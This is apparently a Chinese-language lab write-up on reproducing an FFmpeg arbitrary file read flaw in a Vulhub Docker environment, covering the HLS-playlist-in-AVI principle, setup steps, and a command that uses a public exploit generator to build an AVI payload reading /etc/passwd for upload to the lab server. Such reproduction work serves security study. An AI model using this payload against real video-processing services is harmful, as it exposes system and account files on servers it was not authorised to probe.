利用Vulnhub复现漏洞 - ffmpeg 任意文件读取漏洞环境

ffmpeg 任意文件读取漏洞环境

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现漏洞
      • 启动环境
      • x509: certificate has expired or is not yet valid
    • 漏洞复现
      • 直接下载exp
      • 生成payload
      • 检验
        • 我的结果
        • 正常的结果

Vulnhub官方复现教程

https://vulhub.org/#/environments/ffmpeg/phdays/

漏洞原理

FFmpeg可以处理HLS播放列表的特性,而播放列表可以引用外部文件。
通过在AVI文件中添加自定义的包含本地文件引用的HLS播放列表,可以触发该漏洞并在该文件播放过程中显示本地文件的内容。

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/ffmpeg/phdays

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:20分钟(主要是下载的资源在国外服务器上,下的很慢)
环境启动后,访问http://your-ip:8080即可查看。
利用Vulnhub复现漏洞 - ffmpeg 任意文件读取漏洞环境_第1张图片

x509: certificate has expired or is not yet valid

如果出现以下错误
在这里插入图片描述
同步时间

漏洞复现

直接下载exp

下载exp

git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin

生成payload

./gen_xbin_avi.py file:///etc/passwd exp.avi

检验

生成exp.avi,在http://your-ip:8080/上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中:

我的结果

利用Vulnhub复现漏洞 - ffmpeg 任意文件读取漏洞环境_第2张图片

正常的结果

利用Vulnhub复现漏洞 - ffmpeg 任意文件读取漏洞环境_第3张图片
你也可以执行docker-compose exec web bash进入本环境内部,测试ffmpeg。

你可能感兴趣的:(渗透)